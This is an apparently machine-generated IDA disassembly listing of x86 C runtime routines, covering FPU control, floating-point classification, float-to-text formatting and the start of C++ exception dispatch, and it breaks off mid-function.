; =============== S U B	R O U T	I N E =======================================



sub_419C86	proc near		; CODE XREF: sub_419651+41p

arg_0		= byte ptr  4

		mov	al, [esp+arg_0]
		test	al, 20h
		jz	short loc_419C92
		push	5
		jmp	short loc_419CA8
; ---------------------------------------------------------------------------


loc_419C92:				; CODE XREF: sub_419C86+6j
		test	al, 8
		jz	short loc_419C9A
		push	1
		jmp	short loc_419CA8
; ---------------------------------------------------------------------------


loc_419C9A:				; CODE XREF: sub_419C86+Ej
		test	al, 4
		jz	short loc_419CA2
		push	2
		jmp	short loc_419CA8
; ---------------------------------------------------------------------------


loc_419CA2:				; CODE XREF: sub_419C86+16j
		test	al, 1
		jz	short loc_419CAA
		push	3


loc_419CA8:				; CODE XREF: sub_419C86+Aj
					; sub_419C86+12j ...
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_419CAA:				; CODE XREF: sub_419C86+1Ej
		movzx	eax, al
		and	eax, 2
		shl	eax, 1
		retn
sub_419C86	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_419CB3(double)

sub_419CB3	proc near		; CODE XREF: sub_415E6C:loc_415EF2p
					; sub_415FB3:loc_416039p

var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		fld	[ebp+arg_0]
		frndint
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		leave
		retn
sub_419CB3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_419CC5(double,int)

sub_419CC5	proc near		; CODE XREF: sub_419D48+82p
					; sub_419D48+98p

var_8		= qword	ptr -8
arg_0		= qword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+0Eh]
		fld	[ebp+arg_0]
		add	eax, 3FEh
		and	cx, 800Fh
		fstp	[ebp+var_8]
		shl	eax, 4
		or	eax, ecx
		mov	word ptr [ebp+var_8+6],	ax
		fld	[ebp+var_8]
		leave
		retn
sub_419CC5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419CEE	proc near		; CODE XREF: sub_415E6C+31p
					; sub_415FB3+31p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		xor	edx, edx
		cmp	[ebp+arg_4], 7FF00000h
		jnz	short loc_419D05
		cmp	[ebp+arg_0], edx
		jnz	short loc_419D17
		push	1
		jmp	short loc_419D41
; ---------------------------------------------------------------------------


loc_419D05:				; CODE XREF: sub_419CEE+Cj
		cmp	[ebp+arg_4], 0FFF00000h
		jnz	short loc_419D17
		cmp	[ebp+arg_0], edx
		jnz	short loc_419D17
		push	2
		jmp	short loc_419D41
; ---------------------------------------------------------------------------


loc_419D17:				; CODE XREF: sub_419CEE+11j
					; sub_419CEE+1Ej ...
		mov	ecx, [ebp+arg_4+2]
		mov	eax, 7FF8h
		and	ecx, eax
		cmp	cx, ax
		jnz	short loc_419D2A
		push	3
		jmp	short loc_419D41
; ---------------------------------------------------------------------------


loc_419D2A:				; CODE XREF: sub_419CEE+36j
		cmp	cx, 7FF0h
		jnz	short loc_419D44
		test	[ebp+arg_4], 7FFFFh
		jnz	short loc_419D3F
		cmp	[ebp+arg_0], edx
		jz	short loc_419D44


loc_419D3F:				; CODE XREF: sub_419CEE+4Aj
		push	4


loc_419D41:				; CODE XREF: sub_419CEE+15j
					; sub_419CEE+27j ...
		pop	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_419D44:				; CODE XREF: sub_419CEE+41j
					; sub_419CEE+4Fj
		xor	eax, eax
		pop	ebp
		retn
sub_419CEE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_419D48(double,int)

sub_419D48	proc near		; CODE XREF: sub_41999C+160p

var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		fld	[ebp+arg_0]
		fcomp	dbl_4217B0
		push	esi
		fnstsw	ax
		sahf
		jnz	short loc_419D68
		fldz
		xor	esi, esi
		fstp	[ebp+var_8]
		jmp	loc_419DFE
; ---------------------------------------------------------------------------


loc_419D68:				; CODE XREF: sub_419D48+12j
		xor	ecx, ecx
		test	word ptr [ebp+arg_0+6],	7FF0h
		jnz	short loc_419DD7
		test	dword ptr [ebp+arg_0+4], 0FFFFFh
		jnz	short loc_419D80
		cmp	dword ptr [ebp+arg_0], ecx
		jz	short loc_419DD7


loc_419D80:				; CODE XREF: sub_419D48+31j
		fld	[ebp+arg_0]
		fcomp	dbl_4217B0
		mov	esi, 0FFFFFC03h
		fnstsw	ax
		sahf
		jnb	short loc_419D98
		push	1
		pop	eax
		jmp	short loc_419D9A
; ---------------------------------------------------------------------------


loc_419D98:				; CODE XREF: sub_419D48+49j
		xor	eax, eax


loc_419D9A:				; CODE XREF: sub_419D48+4Ej
					; sub_419D48+69j
		test	byte ptr [ebp+arg_0+6],	10h
		jnz	short loc_419DB3
		shl	dword ptr [ebp+arg_0+4], 1
		test	byte ptr [ebp+arg_0+3],	80h
		jz	short loc_419DAD
		or	dword ptr [ebp+arg_0+4], 1


loc_419DAD:				; CODE XREF: sub_419D48+5Fj
		shl	dword ptr [ebp+arg_0], 1
		dec	esi
		jmp	short loc_419D9A
; ---------------------------------------------------------------------------


loc_419DB3:				; CODE XREF: sub_419D48+56j
		and	word ptr [ebp+arg_0+6],	0FFEFh
		cmp	eax, ecx
		jz	short loc_419DC1
		or	byte ptr [ebp+arg_0+7],	80h


loc_419DC1:				; CODE XREF: sub_419D48+73j
		fld	[ebp+arg_0]
		push	ecx		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+18h+var_18]
		call	sub_419CC5
		fstp	[ebp+var_8]
		add	esp, 0Ch
		jmp	short loc_419DFE
; ---------------------------------------------------------------------------


loc_419DD7:				; CODE XREF: sub_419D48+28j
					; sub_419D48+36j
		fld	[ebp+arg_0]
		push	ecx		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+18h+var_18]
		call	sub_419CC5
		mov	eax, dword ptr [ebp+arg_0+6]
		add	esp, 0Ch
		fstp	[ebp+var_8]
		shr	eax, 4
		and	ax, 7FFh
		movsx	esi, ax
		sub	esi, 3FEh


loc_419DFE:				; CODE XREF: sub_419D48+1Bj
					; sub_419D48+8Dj
		mov	eax, [ebp+arg_8]
		fld	[ebp+var_8]
		mov	[eax], esi
		pop	esi
		leave
		retn
sub_419D48	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419E09	proc near		; CODE XREF: sub_4196E9+F6p

var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		push	ecx
		fstsw	[ebp+var_2]
		movsx	eax, [ebp+var_2]
		leave
		retn
sub_419E09	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419E17	proc near		; CODE XREF: sub_4196E9+206p

var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		push	ecx
		fnstsw	[ebp+var_2]
		fnclex
		movsx	eax, [ebp+var_2]
		leave
		retn
sub_419E17	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419E26	proc near		; CODE XREF: sub_415E6C+13p
					; sub_415E6C+5Dp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		fstcw	word ptr [ebp+var_4]
		mov	eax, [ebp+arg_4]
		mov	ecx, eax
		and	eax, [ebp+arg_0]
		not	ecx
		and	ecx, [ebp+var_4]
		or	ecx, eax
		mov	[ebp+arg_4], ecx
		fldcw	word ptr [ebp+arg_4]
		movsx	eax, word ptr [ebp+var_4]
		leave
		retn
sub_419E26	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419E49	proc near		; CODE XREF: sub_41999C+1Dp
					; sub_41999C+37p ...

var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	cl, byte ptr [ebp+arg_0]
		test	cl, 1
		jz	short loc_419E60
		fld	tbyte_438090
		fistp	[ebp+arg_0]
		wait


loc_419E60:				; CODE XREF: sub_419E49+Bj
		test	cl, 8
		jz	short loc_419E75
		fstsw	ax
		fld	tbyte_438090
		fstp	[ebp+var_8]
		wait
		fstsw	ax


loc_419E75:				; CODE XREF: sub_419E49+1Aj
		test	cl, 10h
		jz	short loc_419E84
		fld	tbyte_43809C
		fstp	[ebp+var_8]
		wait


loc_419E84:				; CODE XREF: sub_419E49+2Fj
		test	cl, 4
		jz	short loc_419E92
		fldz
		fld1
		fdivrp	st(1), st
		fstp	st
		wait


loc_419E92:				; CODE XREF: sub_419E49+3Ej
		test	cl, 20h
		jz	short locret_419E9D
		fldpi
		fstp	[ebp+var_8]
		wait

locret_419E9D:				; CODE XREF: sub_419E49+4Cj
		leave
		retn
sub_419E49	endp


; =============== S U B	R O U T	I N E =======================================



sub_419E9F	proc near		; CODE XREF: sub_415F3B+Fp
		push	30000h
		push	10000h
		call	sub_41D84B
		pop	ecx
		pop	ecx
		retn
sub_419E9F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419EB1	proc near		; CODE XREF: sub_419EEF:loc_419F13j

var_18		= qword	ptr -18h
var_10		= qword	ptr -10h
var_8		= qword	ptr -8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		fld	dbl_4217C0
		fstp	[ebp+var_8]
		fld	dbl_4217B8
		fstp	[ebp+var_10]
		fld	[ebp+var_10]
		fdiv	[ebp+var_8]
		fmul	[ebp+var_8]
		fsubr	[ebp+var_10]
		fstp	[ebp+var_18]
		fld	[ebp+var_18]
		fcomp	dbl_421670
		fnstsw	ax
		sahf
		jbe	short loc_419EEB
		push	1
		pop	eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_419EEB:				; CODE XREF: sub_419EB1+33j
		xor	eax, eax
		leave
		retn
sub_419EB1	endp


; =============== S U B	R O U T	I N E =======================================



sub_419EEF	proc near		; CODE XREF: sub_415F3B+5p
		push	offset aKernel32 ; "KERNEL32"
		call	dword_4210C8	; GetModuleHandleA
		test	eax, eax
		jz	short loc_419F13
		push	offset aIsprocessorfea ; "IsProcessorFeaturePresent"
		push	eax
		call	dword_4210C4	; GetProcAddress
		test	eax, eax
		jz	short loc_419F13
		push	0
		call	eax ; sub_415F3B
		retn
; ---------------------------------------------------------------------------


loc_419F13:				; CODE XREF: sub_419EEF+Dj
					; sub_419EEF+1Dj
		jmp	sub_419EB1
sub_419EEF	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_419F18	proc near		; CODE XREF: sub_417D4C+3CBp
					; DATA XREF: sub_415F53+1Eo ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		movsx	eax, byte ptr [esi]
		push	eax
		call	sub_417193
		cmp	eax, 65h
		pop	ecx
		jz	short loc_419F58


loc_419F2C:				; CODE XREF: sub_419F18+3Ej
		inc	esi
		cmp	dword_437F7C, 1
		jle	short loc_419F45
		movsx	eax, byte ptr [esi]
		push	4
		push	eax
		call	sub_418556
		pop	ecx
		pop	ecx
		jmp	short loc_419F54
; ---------------------------------------------------------------------------


loc_419F45:				; CODE XREF: sub_419F18+1Cj
		movsx	eax, byte ptr [esi]
		mov	ecx, off_437D70
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_419F54:				; CODE XREF: sub_419F18+2Bj
		test	eax, eax
		jnz	short loc_419F2C


loc_419F58:				; CODE XREF: sub_419F18+12j
		mov	cl, byte_437F80
		mov	al, [esi]
		mov	[esi], cl
		inc	esi


loc_419F63:				; CODE XREF: sub_419F18+56j
		mov	cl, [esi]
		mov	[esi], al
		mov	al, cl
		mov	cl, [esi]
		inc	esi
		test	cl, cl
		jnz	short loc_419F63
		pop	esi
		retn
sub_419F18	endp


; =============== S U B	R O U T	I N E =======================================



sub_419F72	proc near		; CODE XREF: sub_417D4C+3E2p
					; DATA XREF: sub_415F53+5o ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dl, byte_437F80
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_419F8E


loc_419F82:				; CODE XREF: sub_419F72+1Aj
		cmp	cl, dl
		jz	short loc_419F8E
		mov	cl, [eax+1]
		inc	eax
		test	cl, cl
		jnz	short loc_419F82


loc_419F8E:				; CODE XREF: sub_419F72+Ej
					; sub_419F72+12j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jz	short locret_419FBF


loc_419F95:				; CODE XREF: sub_419F72+34j
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_419FA8
		cmp	cl, 65h
		jz	short loc_419FA8
		cmp	cl, 45h
		jz	short loc_419FA8
		inc	eax
		jmp	short loc_419F95
; ---------------------------------------------------------------------------


loc_419FA8:				; CODE XREF: sub_419F72+27j
					; sub_419F72+2Cj ...
		mov	ecx, eax


loc_419FAA:				; CODE XREF: sub_419F72+3Cj
		dec	eax
		cmp	byte ptr [eax],	30h
		jz	short loc_419FAA
		cmp	[eax], dl
		jnz	short loc_419FB5
		dec	eax


loc_419FB5:				; CODE XREF: sub_419F72+40j
					; sub_419F72+4Bj
		mov	dl, [ecx]
		inc	eax
		inc	ecx
		test	dl, dl
		mov	[eax], dl
		jnz	short loc_419FB5

locret_419FBF:				; CODE XREF: sub_419F72+21j
		retn
sub_419F72	endp


; =============== S U B	R O U T	I N E =======================================



sub_419FC0	proc near		; DATA XREF: sub_415F53+28o
					; .nsp0:off_4380B8o

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		fld	qword ptr [eax]
		fcomp	dbl_4217B0
		fnstsw	ax
		sahf
		jb	short loc_419FD5
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_419FD5:				; CODE XREF: sub_419FC0+Fj
		xor	eax, eax
		retn
sub_419FC0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419FD8	proc near		; CODE XREF: sub_41AD3D+430p
					; DATA XREF: sub_415F53+14o ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_0], 0
		push	[ebp+arg_8]
		jz	short loc_41A001
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_41DD0E
		mov	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_8]
		mov	[eax], ecx
		mov	ecx, [ebp+var_4]
		mov	[eax+4], ecx
		leave
		retn
; ---------------------------------------------------------------------------


loc_41A001:				; CODE XREF: sub_419FD8+Cj
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41DD3B
		mov	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+arg_8]
		mov	[eax], ecx
		leave
		retn
sub_419FD8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A016	proc near		; CODE XREF: sub_41A293+17p
					; sub_41A2DD+47p

var_10		= qword	ptr -10h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	byte_469500, 0
		push	ebx
		push	esi
		jz	short loc_41A04B
		mov	ebx, [ebp+arg_8]
		mov	eax, dword_4694FC
		xor	ecx, ecx
		mov	esi, eax
		test	ebx, ebx
		setnle	cl
		push	ecx
		xor	ecx, ecx
		cmp	dword ptr [eax], 2Dh
		setz	cl
		add	ecx, [ebp+arg_4]
		push	ecx
		call	sub_41A32E
		pop	ecx
		pop	ecx
		jmp	short loc_41A083
; ---------------------------------------------------------------------------


loc_41A04B:				; CODE XREF: sub_41A016+Cj
		mov	eax, [ebp+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [eax]
		fstp	[esp+10h+var_10]
		call	sub_41DDDF
		mov	ebx, [ebp+arg_8]
		mov	esi, eax
		push	esi
		mov	edx, [ebp+arg_4]
		lea	eax, [ebx+1]
		push	eax
		xor	eax, eax
		cmp	dword ptr [esi], 2Dh
		setz	al
		xor	ecx, ecx
		test	ebx, ebx
		setnle	cl
		add	edx, eax
		add	ecx, edx
		push	ecx
		call	sub_41DD68
		add	esp, 14h


loc_41A083:				; CODE XREF: sub_41A016+33j
		cmp	dword ptr [esi], 2Dh
		mov	eax, [ebp+arg_4]
		jnz	short loc_41A08F
		mov	byte ptr [eax],	2Dh
		inc	eax


loc_41A08F:				; CODE XREF: sub_41A016+73j
		test	ebx, ebx
		jle	short loc_41A0A7
		mov	cl, [eax+1]
		push	edi
		lea	edi, [eax+1]
		mov	[eax], cl
		mov	cl, byte_437F80
		mov	eax, edi
		pop	edi
		mov	[eax], cl


loc_41A0A7:				; CODE XREF: sub_41A016+7Bj
		xor	ecx, ecx
		push	offset aE000	; "e+000"
		cmp	byte_469500, cl
		setz	cl
		add	ecx, eax
		add	ecx, ebx
		push	ecx
		call	sub_415C00
		cmp	[ebp+arg_C], 0
		pop	ecx
		pop	ecx
		mov	ecx, eax
		jz	short loc_41A0CE
		mov	byte ptr [ecx],	45h


loc_41A0CE:				; CODE XREF: sub_41A016+B3j
		mov	eax, [esi+0Ch]
		inc	ecx
		cmp	byte ptr [eax],	30h
		jz	short loc_41A113
		mov	ebx, [esi+4]
		dec	ebx
		jns	short loc_41A0E2
		neg	ebx
		mov	byte ptr [ecx],	2Dh


loc_41A0E2:				; CODE XREF: sub_41A016+C5j
		inc	ecx
		cmp	ebx, 64h
		jl	short loc_41A0F9
		mov	eax, ebx
		push	64h
		cdq
		pop	esi
		idiv	esi
		add	[ecx], al
		mov	eax, ebx
		cdq
		idiv	esi
		mov	ebx, edx


loc_41A0F9:				; CODE XREF: sub_41A016+D0j
		inc	ecx
		cmp	ebx, 0Ah
		jl	short loc_41A110
		mov	eax, ebx
		push	0Ah
		cdq
		pop	esi
		idiv	esi
		add	[ecx], al
		mov	eax, ebx
		cdq
		idiv	esi
		mov	ebx, edx


loc_41A110:				; CODE XREF: sub_41A016+E7j
		add	[ecx+1], bl


loc_41A113:				; CODE XREF: sub_41A016+BFj
		mov	eax, [ebp+arg_4]
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41A016	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A11A	proc near		; CODE XREF: sub_41A2BA+13p
					; sub_41A2DD+1Ep

var_18		= qword	ptr -18h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		cmp	byte_469500, 0
		push	ebx
		push	ebp
		mov	ebp, [esp+8+arg_4]
		push	esi
		push	edi
		jz	short loc_41A155
		mov	eax, dword_469504
		mov	ebx, [esp+10h+arg_8]
		mov	esi, dword_4694FC
		cmp	eax, ebx
		jnz	short loc_41A185
		xor	ecx, ecx
		cmp	dword ptr [esi], 2Dh
		setz	cl
		add	ecx, eax
		add	ecx, ebp
		mov	eax, ecx
		mov	byte ptr [eax],	30h
		and	byte ptr [eax+1], 0
		jmp	short loc_41A185
; ---------------------------------------------------------------------------


loc_41A155:				; CODE XREF: sub_41A11A+Fj
		mov	eax, [esp+10h+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [eax]
		fstp	[esp+18h+var_18]
		call	sub_41DDDF
		mov	ebx, [esp+18h+arg_8]
		mov	esi, eax
		push	esi
		mov	eax, [esi+4]
		add	eax, ebx
		push	eax
		xor	eax, eax
		cmp	dword ptr [esi], 2Dh
		setz	al
		add	eax, ebp
		push	eax
		call	sub_41DD68
		add	esp, 14h


loc_41A185:				; CODE XREF: sub_41A11A+22j
					; sub_41A11A+39j
		cmp	dword ptr [esi], 2Dh
		mov	edi, ebp
		jnz	short loc_41A193
		mov	byte ptr [ebp+0], 2Dh
		lea	edi, [ebp+1]


loc_41A193:				; CODE XREF: sub_41A11A+70j
		mov	eax, [esi+4]
		test	eax, eax
		jg	short loc_41A1AA
		push	1
		push	edi
		call	sub_41A32E
		pop	ecx
		mov	byte ptr [edi],	30h
		pop	ecx
		inc	edi
		jmp	short loc_41A1AC
; ---------------------------------------------------------------------------


loc_41A1AA:				; CODE XREF: sub_41A11A+7Ej
		add	edi, eax


loc_41A1AC:				; CODE XREF: sub_41A11A+8Ej
		test	ebx, ebx
		jle	short loc_41A1F1
		push	1
		push	edi
		call	sub_41A32E
		mov	al, byte_437F80
		pop	ecx
		mov	[edi], al
		mov	esi, [esi+4]
		inc	edi
		pop	ecx
		test	esi, esi
		jge	short loc_41A1F1
		cmp	byte_469500, 0
		jz	short loc_41A1D6
		neg	esi
		jmp	short loc_41A1DC
; ---------------------------------------------------------------------------


loc_41A1D6:				; CODE XREF: sub_41A11A+B6j
		neg	esi
		cmp	ebx, esi
		jl	short loc_41A1DE


loc_41A1DC:				; CODE XREF: sub_41A11A+BAj
		mov	ebx, esi


loc_41A1DE:				; CODE XREF: sub_41A11A+C0j
		push	ebx
		push	edi
		call	sub_41A32E
		push	ebx
		push	30h
		push	edi
		call	sub_415570
		add	esp, 14h


loc_41A1F1:				; CODE XREF: sub_41A11A+94j
					; sub_41A11A+ADj
		pop	edi
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41A11A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A1F8	proc near		; CODE XREF: sub_41A2DD+34p

var_14		= qword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [edi]
		fstp	[esp+14h+var_14]
		call	sub_41DDDF
		mov	dword_4694FC, eax
		mov	ecx, [eax+4]
		dec	ecx
		mov	ebx, [ebp+arg_8]
		mov	dword_469504, ecx
		xor	ecx, ecx
		cmp	dword ptr [eax], 2Dh
		push	eax
		push	ebx
		setz	cl
		add	ecx, [ebp+arg_4]
		mov	esi, ecx
		push	esi
		call	sub_41DD68
		mov	eax, dword_4694FC
		add	esp, 14h
		mov	ecx, [eax+4]
		dec	ecx
		cmp	dword_469504, ecx
		setl	cl
		mov	byte_469508, cl
		mov	eax, [eax+4]
		dec	eax
		cmp	eax, 0FFFFFFFCh
		mov	dword_469504, eax
		jl	short loc_41A27E
		cmp	eax, ebx
		jge	short loc_41A27E
		test	cl, cl
		jz	short loc_41A26F


loc_41A265:				; CODE XREF: sub_41A1F8+72j
		mov	al, [esi]
		inc	esi
		test	al, al
		jnz	short loc_41A265
		and	[esi-2], al


loc_41A26F:				; CODE XREF: sub_41A1F8+6Bj
		push	ebx
		push	[ebp+arg_4]
		push	edi
		call	sub_41A2BA
		add	esp, 0Ch
		jmp	short loc_41A28E
; ---------------------------------------------------------------------------


loc_41A27E:				; CODE XREF: sub_41A1F8+63j
					; sub_41A1F8+67j
		push	[ebp+arg_C]
		push	ebx
		push	[ebp+arg_4]
		push	edi
		call	sub_41A293
		add	esp, 10h


loc_41A28E:				; CODE XREF: sub_41A1F8+84j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41A1F8	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A293	proc near		; CODE XREF: sub_41A1F8+8Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	[esp+arg_C]
		mov	byte_469500, 1
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_41A016
		and	byte_469500, 0
		add	esp, 10h
		retn
sub_41A293	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A2BA	proc near		; CODE XREF: sub_41A1F8+7Cp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	[esp+arg_8]
		mov	byte_469500, 1
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_41A11A
		and	byte_469500, 0
		add	esp, 0Ch
		retn
sub_41A2BA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A2DD	proc near		; CODE XREF: sub_417D4C+3AAp
					; DATA XREF: sub_415F53o ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 65h
		jz	short loc_41A318
		cmp	[ebp+arg_8], 45h
		jz	short loc_41A318
		cmp	[ebp+arg_8], 66h
		jnz	short loc_41A305
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41A11A
		add	esp, 0Ch
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41A305:				; CODE XREF: sub_41A2DD+13j
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41A1F8
		jmp	short loc_41A329
; ---------------------------------------------------------------------------


loc_41A318:				; CODE XREF: sub_41A2DD+7j
					; sub_41A2DD+Dj
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41A016


loc_41A329:				; CODE XREF: sub_41A2DD+39j
		add	esp, 10h
		pop	ebp
		retn
sub_41A2DD	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A32E	proc near		; CODE XREF: sub_41A016+2Cp
					; sub_41A11A+83p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	edi
		mov	edi, [esp+4+arg_4]
		test	edi, edi
		jz	short loc_41A351
		push	esi
		mov	esi, [esp+8+arg_0]
		push	esi
		call	sub_415CF0
		inc	eax
		push	eax
		push	esi
		add	esi, edi
		push	esi
		call	sub_416490
		add	esp, 10h
		pop	esi


loc_41A351:				; CODE XREF: sub_41A32E+7j
		pop	edi
		retn
sub_41A32E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A353	proc near		; CODE XREF: .nsp0:00416134p
					; sub_41619D+1Bp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_10]
		push	edi
		mov	edi, 19930520h
		cmp	[esi], edi
		jz	short loc_41A369
		call	sub_41ABF2


loc_41A369:				; CODE XREF: sub_41A353+Fj
		mov	eax, [ebp+arg_0]
		test	byte ptr [eax+4], 66h
		jz	short loc_41A391
		cmp	dword ptr [esi+4], 0
		jz	short loc_41A3E7
		cmp	[ebp+arg_14], 0
		jnz	short loc_41A3E7
		push	0FFFFFFFFh
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		call	sub_41A69A
		add	esp, 10h
		jmp	short loc_41A3E7
; ---------------------------------------------------------------------------


loc_41A391:				; CODE XREF: sub_41A353+1Dj
		cmp	dword ptr [esi+0Ch], 0
		jz	short loc_41A3E7
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_41A3CB
		cmp	[eax+14h], edi
		jbe	short loc_41A3CB
		mov	ecx, [eax+1Ch]
		mov	ecx, [ecx+8]
		test	ecx, ecx
		jz	short loc_41A3CB
		movzx	edx, byte ptr [ebp+arg_1C]
		push	edx
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	eax
		call	ecx
		add	esp, 20h
		jmp	short loc_41A3EA
; ---------------------------------------------------------------------------


loc_41A3CB:				; CODE XREF: sub_41A353+4Aj
					; sub_41A353+4Fj ...
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	[ebp+arg_1C]
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	eax
		call	sub_41A3EE
		add	esp, 20h


loc_41A3E7:				; CODE XREF: sub_41A353+23j
					; sub_41A353+29j ...
		push	1
		pop	eax


loc_41A3EA:				; CODE XREF: sub_41A353+76j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_41A353	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A3EE	proc near		; CODE XREF: sub_41A353+8Cp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= byte ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, [ebp+arg_4]
		and	byte ptr [ebp+var_14], 0
		mov	eax, [eax+8]
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_10], eax
		jl	short loc_41A40E
		mov	ecx, [ebp+arg_10]
		cmp	eax, [ecx+4]
		jl	short loc_41A413


loc_41A40E:				; CODE XREF: sub_41A3EE+16j
		call	sub_41ABF2


loc_41A413:				; CODE XREF: sub_41A3EE+1Ej
